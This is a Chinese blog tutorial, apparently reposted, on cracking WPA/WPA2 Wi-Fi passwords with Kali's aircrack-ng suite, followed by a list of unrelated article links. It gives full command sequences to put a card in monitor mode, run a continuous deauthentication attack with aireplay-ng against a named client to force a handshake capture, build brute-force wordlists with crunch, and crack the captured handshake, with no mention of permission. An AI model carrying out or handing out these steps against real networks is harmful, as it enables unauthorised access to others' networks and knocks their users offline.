当前位置: 首页 > news >正文

Kali之aircrack-ng

本机装好设备及驱动

电脑本机装好Realtek RTL8187 Wireless驱动连接好USB无线驱动

把设备转接给虚拟机

win+R,启动VMware USB Arbitration Service服务,出现不能把移动设备给虚拟机的情况,卸载VMware重装。

卸载方法:1.win+R输入appwiz.cpl卸载vmware。2.清理注册表,win+R输入regedit,清理vmware注册表信息。查找vmware,删除。

 

 

 

WPA-PSK的破解基于WPA-PSK握手验证报文数据的获取与识别,攻击者只要获取到尽可能的握手验证报文数据包就有机会破解。

安装 aircrack-ng 套件 
注:Kali linux 是自带组件的。

sudo apt-get install aircrak-ng

1) iwconfig   #或airmon-ng,查看无线网卡

2)ifconfig wlan0 up  #激活无线网卡。

3)airmon-ng start wlan0(无线网卡) #将无线网卡设置为监听模式。如果不是下面这张图片,要先执行airmon-ng check kill

4)airodump-ng wlan0mon(更新后为airodump-ng wlan0mon)   #查看附近的wifi。airodump-ng <你的monitor的interface名称>

  • BSSID是AP端的MAC地址
  • PWR是信号强度,数字越小越好
  • #Data是对应的路由器的在线数据吞吐量,数字越大,数据上传量越大。
  • CH是对应路由器的所在频道
  • ESSID是对应路由器的名称

监听wifi

5)airodump-ng -w 路径/文件名 -c 频道 --bssid mac地址 wlan0(处于监听模式下的无线网卡)    #对特定频道下的无线网络进行监听,扫描数据保存到特定文件。
即sudo airodump-ng -c 6 -w /root/handshake --bssid C0:00:00:00:00:48 wlan0mon

握手包文件的拓展名为 .cap 如红色方框所示。

然后,你的网卡会开始监听你目标端的频道,待会攻击认证时注意图片的右上角

保持此terminal窗口的运行状态

使用aireplay-ng进行解除认证攻击模式

握手包的概念,握手包指的是采用WPA加密方式的无线AP与无线客户端进行连接前的认证信息包。

一个合法的客户端要连上AP要经历四次握手(ex.2) 
1.你请求连AP 2.AP发一个数据包给你 
3.你将收到的数据包用wpa密钥加密,然后发给AP 
4.AP用自己保存的wpa密钥加密相同数据包,然后和你发给他的比较,如果相同,就发准许接入的许可。 
上面就是一个合法客户端四次握手的全过程,我们所说的抓握手包,是指抓AP发给合法客户的数据包,和合法客户端加密后发给AP的数据包。所以我们就抓这两个包,当我们有了明文和密文,就可以破解出密钥。

所以我们这里的关键是要发动攻击,迫使合法的客户端断线,进行重新认证,我们趁机抓包。

6)新建一个窗口,运行aireplay-ng -0 0 -a AP的mac地址 -c 客户端的mac地址 mon0(处于监听模式下的无线网卡) #-0代表deauth重传攻击方式,使客户端断开重连以便有机会得到握手验证数据报文

sudo aireplay-ng -0 0 -a 04:D1:3A:63:D9:02 -c 70:E2:01:61:87:84 wlan0mon

当获取握手包,监听窗口出现下图时,终止攻击。

 

7)关闭监听模式。

sudo airmon-ng stop wlan0mon

8)aircrack-ng -w 字典 捕获的cap文件  #使用预先准备好的字典破解密码,注意,WPA/WPA2加密的wifi密码是一种相对安全的密码保护机制,破解起来可能有一定的难度。

sudo aircrack-ng -w /root/pwdlist.txt /root/handshake-01.cap 
注:`aircrack-ng -w <字典路径> <握手包路径>

制作字典

安装crunch sudo apt-get install crunch

使用语法 crunch <min> max<max> <characterset> -t <pattern> -o <output filename>

<min> = 最小密码长度。 
<max> = 最大密码长度。 
<characterset> = 用于生成密码的字符集。 
<pattern> = 生成的密码的指定模式。 
<outputfile> = 保存字典文件的路径。

注: pattern中可以使用的特殊标记字符(ex.3) 
[%]插入数字 
[@] 插入小写字母 
[,] 插入大写字母 
[^] 插入符号

crunch 5 5 -t 1@,^9 -o /root/pwdlist.txt    #生成第一位为1,第二位为小写字母,第三位为大写字母,第四位为符号,最后一位为9的五位数密码
crunch 1 6 0123456789 -o /root/pwdlist.txt   #生成1-6位纯数字(指定的0-9)的密码
crunch 0 8 0123456789 -o /root/pwdlist.txt  #生成0到8位的纯数字密码字典已经达到941M
#生成包含大小写字母、数字、常见字符密码长度为1到8位的密码文件lstpwd.txt tip:8位任意字符的组合已经达到54816TB
crunch 1 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o lstpwd.txt   

 

以我电脑的配置破解8位纯数字密码字典要一天左右.每多加一位时间长度都会以几何式增长。可以使用带wifi密码分享功能的手机+万能钥匙之类的软件。

转载于:https://www.cnblogs.com/aeolian/p/9046349.html

相关文章:

  • Android 面试2018最新最全
  • js中添加node.js语法支持
  • 理解CAS算法在JAVA中的作用
  • 单体架构,SOA架构,微服务架构,分布式架构,集群架构
  • SqlServer查询出数据库中所有的表及其字段属性
  • 排除网络故障课后习题参考答案
  • Java并发(零)教程目录
  • 大数据盛宴!帆软成功举办东北及华南地区大数据巡展
  • 微软宣布公开预览其内容分发网络
  • 03、漫游用户
  • 57. Netty源代码分析-服务器端启动ServerBootstrap初始化
  • 玩转云企业网(上):为什么需要云企业网
  • Google Photos上线一年 照片存储达13.7PB
  • gojs 流程图框架-基础绘图(一)
  • 第三代DRDS分布式SQL引擎全新发布
  • 【mysql】环境安装、服务启动、密码设置
  • 2017前端实习生面试总结
  • 2018天猫双11|这就是阿里云!不止有新技术,更有温暖的社会力量
  • CentOS6 编译安装 redis-3.2.3
  • ECMAScript入门(七)--Module语法
  • javascript从右向左截取指定位数字符的3种方法
  • KMP算法及优化
  • Linux下的乱码问题
  • vue2.0项目引入element-ui
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 回流、重绘及其优化
  • 基于Volley网络库实现加载多种网络图片(包括GIF动态图片、圆形图片、普通图片)...
  • 微信小程序--------语音识别(前端自己也能玩)
  • Java总结 - String - 这篇请使劲喷我
  • raise 与 raise ... from 的区别
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • ​ssh免密码登录设置及问题总结
  • #pragma预处理命令
  • (3)nginx 配置(nginx.conf)
  • (6)【Python/机器学习/深度学习】Machine-Learning模型与算法应用—使用Adaboost建模及工作环境下的数据分析整理
  • (C语言)共用体union的用法举例
  • (附源码)php投票系统 毕业设计 121500
  • (附源码)ssm码农论坛 毕业设计 231126
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (生成器)yield与(迭代器)generator
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (循环依赖问题)学习spring的第九天
  • (原創) 未来三学期想要修的课 (日記)
  • (转)ABI是什么
  • ..thread“main“ com.fasterxml.jackson.databind.JsonMappingException: Jackson version is too old 2.3.1
  • ./configure、make、make install 命令
  • ./和../以及/和~之间的区别
  • .NET 读取 JSON格式的数据
  • /3GB和/USERVA开关
  • @angular/cli项目构建--http(2)
  • [ web基础篇 ] Burp Suite 爆破 Basic 认证密码
  • [1127]图形打印 sdutOJ
  • [BZOJ]4817: [Sdoi2017]树点涂色
  • [C#]winform部署yolov9的onnx模型